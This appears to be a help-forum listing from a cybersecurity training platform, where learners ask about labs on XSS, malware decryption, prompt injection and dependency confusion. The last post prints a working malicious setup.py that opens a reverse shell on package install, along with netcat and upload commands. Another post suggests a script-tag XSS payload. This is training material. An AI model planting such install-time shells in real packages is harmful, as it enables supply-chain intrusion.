Tag:"help & support" | Immersive Labs Community

Threat Hunting Mining Behaviour - Question 1
Would it be possible to get some assistance with question # 1 of this lab (script responsible for the miner)? I went through just about all the .js file names and none were sufficient. Any hints?
SlippinJimmy
17 hours ago Place Help & Support Forum
13Views
0likes
1Comment
Help needed for Threat Hunting: Mining Behaviour
Hey everyone! I need some help with this last question of a lab. I already identified the JSON authentication token and the packet that holds it. But within that packet, I just can't find the authentication key that identifies the miner. Anyone was able to solve and help? Thanks!
Solved
clermagic225
17 hours ago Place Help & Support Forum
158Views
1like
5Comments
Halloween 2020: Ep.1 – Death by Ink
Hello, On the lab Halloween 2020: Ep.1 – Death by Ink - there is a target IP address - 10.102.81.69 but copying and pasting the IP address in Firefox doesn't load. I tried reverse DNS lookup and got the domain name which again I copied and pasted into Firefox to no avail.host-78-151-118-218.as13285.net Also ran the IP address as //10.102.81.69 on the equivalent of File explorer on the virtual machine but to no avail. What might I be doing incorrectly?
Dark_Knight666
2 days ago Place Help & Support Forum
17Views
0likes
1Comment
The Haunted Hollow: The Cursed Crypt
Hello, I'm a little stuck on the Challenges & Scenarios section for the lab: The Haunted Hollow: The Cursed Crypt On one of the labs that fall into this category - The Cursed Crypt For questions 3-5 I am copying and pasting the sections on all 4 riddles into CyberChef in the input field but not really sure what to do from here? I was able to answer question 1 as it had a wand icon which deciphered the riddle 1 but a little stumped on the rest? Any help please?
Dark_Knight666
2 days ago Place Help & Support Forum
41Views
1like
3Comments
AI: Prompt Injection Attacks
I've found the password for L1 on the above Lab, which it says it acknowledges as being correct, but it's not unlocking Level 2. Any advice? Do I just need to type in the password (in the correct case sensitive way); i've also tried it with a / before hand and within <>
Martin
4 days ago Place Cyber Million Forum
25Views
1like
6Comments
Sentinel Labs
My team and I have been encountering a few peculiar issues with the Microsoft Azure Sentinel based labs (KQL, Sentinel Blue Team Ops, Sentinel SOAR, etc.) where correct answers do not appear to be getting accepted. My team and I have even gone back to try solving previously completed labs and found that the answers/methods used to solve the labs do not seem to work. Have there been any issues/problems identified/reported with this style of lab?
Solved
FF
8 days ago Place Help & Support Forum
98Views
1like
8Comments
Practical Malware Analysis: .NET Encryption and Encoding
I have completed all of the questions except decrypting the configuration string. I have the correct AES key (question 7 is correct - first 5 chars of the AES key) Although it seems that the instructions in part 6 - "Take the first 16 bytes of the hash and add it to the full hash. Your key should be: MD5 hash of password + first 16 bytes of MD5 hash of password" give a different key to the python snippet in the briefing section: import hashlib value = '' key_hash = hashlib.md5(value.encode('utf-8')).hexdigest() aes_key = key_hash[:30] + key_hash + '00' print(aes_key) So I have two differing keys: A = full md5 hash + full md5 hash (as the md5 hash is 16 bytes) B = first 30 chars of md5 hash + full md5 hash + 00 I have tried using both of these AES keys to decrypt the configuration string found in StubAdmin.bin > StubAdmin.bin.exe > Resources > System_Configuration.Resources.resoures > A I have tried both decoding the string from base64 before decrypting and without decoding and CyberChef tells me it is "unable to decrypt input with these parameters" every time.
Solved
redreturn
9 days ago Place Help & Support Forum
119Views
0likes
10Comments
Human Connection Challenge: Season 1 – Web Exploitation - XSS
Question: Identify a reflected XSS vulnerability on the web application that reveals a token in the error message. There are a few forms on the web page: / -> submit reloads /, the attachment isn't even uploaded => no user input displayed /register -> submit loads / => no user input displayed /member-login -> submit reloads the page with the entered data => user input. But it seems impossible to get working script tags though /<another login page> -> submit loads yet another static page => no user input displayed There's also a path traversal, however it seems impossible to e.g. execute a command to update a field the database. And there's SQL injection, and it seems impossible to insert/update a field in the database. Still, my best guess would be to insert a user "<script>alert()</script>" in the database. Then I can display the user list to trigger the script. Any hints on where to go?
Solved
netcat
10 days ago Place Help & Support Forum
145Views
2likes
10Comments
Find the Flaw: C – Insecure Design - Level 6
I'm struggling with that level only and it started to drive me crazy :) In my eyes, the corresponding CWE is affected by: enforces the GET method: if (!request_method || strcmp(request_method, "GET") != 0) { fetches the query string containing sensitive: char *query_string = getenv("QUERY_STRING"); parse the username and password from the GET query string: char *token = strtok(query_string, "&"); if (strncmp(token, "username=", 9) == 0) strncpy(username, token+9, 256); if (strncmp(token, "password=", 9) == 0) strncpy(password, token+9, 256); although, other combinations with those lines are not bringing it to a positive end: ... char *request_method = getenv("REQUEST_METHOD"); ... if (!request_method || strcmp(request_method, "GET") != 0) { ... char *query_string = getenv("QUERY_STRING"); ... char username[256] = {0}; char password[256] = {0}; ... char *token = strtok(query_string, "&"); while (token != NULL) { if (strncmp(token, "username=", 9) == 0) strncpy(username, token+9, 256); if (strncmp(token, "password=", 9) == 0) strncpy(password, token+9, 256); token = strtok(NULL, "&"); } ... if (strcmp(hashed_password, (const char*)db_password) == 0) { ... so, has anyone solved this?
Solved
steven
12 days ago Place Help & Support Forum
27Views
1like
3Comments
Threat Research: Dependency Confusion Q8
My reverse shell doesn't seem to be working and my listener is spitting out this error every single time: "iml-user@dependency-confusion-desktop:~$ nc -lvp 4242 Listening on 0.0.0.0 4242 Connection received on humble.pie 50074 dependency-confusion-target:/tmp/pip-install-f7fjilfu/flask-auth-humble-pie_e42ebccc41e140c7a74896ea6e23e5eb# ^[[5;31R" I have only been copy and pasting the instructions into the terminal but in case I've went wrong there here's my commands and python code: "iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ vim setup.py iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ python3 setup.py sdist running sdist running egg_info creating flask_auth_humble_pie.egg-info writing flask_auth_humble_pie.egg-info/PKG-INFO writing dependency_links to flask_auth_humble_pie.egg-info/dependency_links.txt writing top-level names to flask_auth_humble_pie.egg-info/top_level.txt writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt' reading manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt' writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt' warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md running check warning: check: missing required meta-data: url warning: check: missing meta-data: if 'author' supplied, 'author_email' must be supplied too creating flask-auth-humble-pie-1.0.4 creating flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info copying files to flask-auth-humble-pie-1.0.4... copying setup.py -> flask-auth-humble-pie-1.0.4 copying flask_auth_humble_pie.egg-info/PKG-INFO -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info copying flask_auth_humble_pie.egg-info/SOURCES.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info copying flask_auth_humble_pie.egg-info/dependency_links.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info copying flask_auth_humble_pie.egg-info/not-zip-safe -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info copying flask_auth_humble_pie.egg-info/top_level.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info Writing flask-auth-humble-pie-1.0.4/setup.cfg creating dist Creating tar archive removing 'flask-auth-humble-pie-1.0.4' (and everything under it) iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ twine upload dist/* /usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.15) or chardet (3.0.4) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported " Uploading distributions to http://pypie.org/ Uploading flask-auth-humble-pie-1.0.4.tar.gz 100% 3.8/3.8 kB 00:00 ? iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ cat setup.py #!/usr/bin/env python3 import os import pty import socket from pathlib import Path from setuptools import find_packages, setup # Stops us infecting ourselves if not Path("/home/iml-user/Desktop/check_for_this").exists(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.102.37.119", 4242)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/sh") setup( name="flask-auth-humble-pie", version="1.0.4", author="no one",description="package", long_description="long package", long_description_content_type="text/markdown", zip_safe=False, packages=find_packages(), include_package_data=True, )" I've also attached my machines but this is not the first time I have encountered this problem and have reset the machines multiple times: Desktop - "10.102.37.119" PyPI Server - "10.102.4.14" Target - "10.102.51.118" Any help on this would be appreciated ASAP. I really need this lab completed.
Solved
Sheapndr
26 days ago Place Help & Support Forum
132Views
2likes
3Comments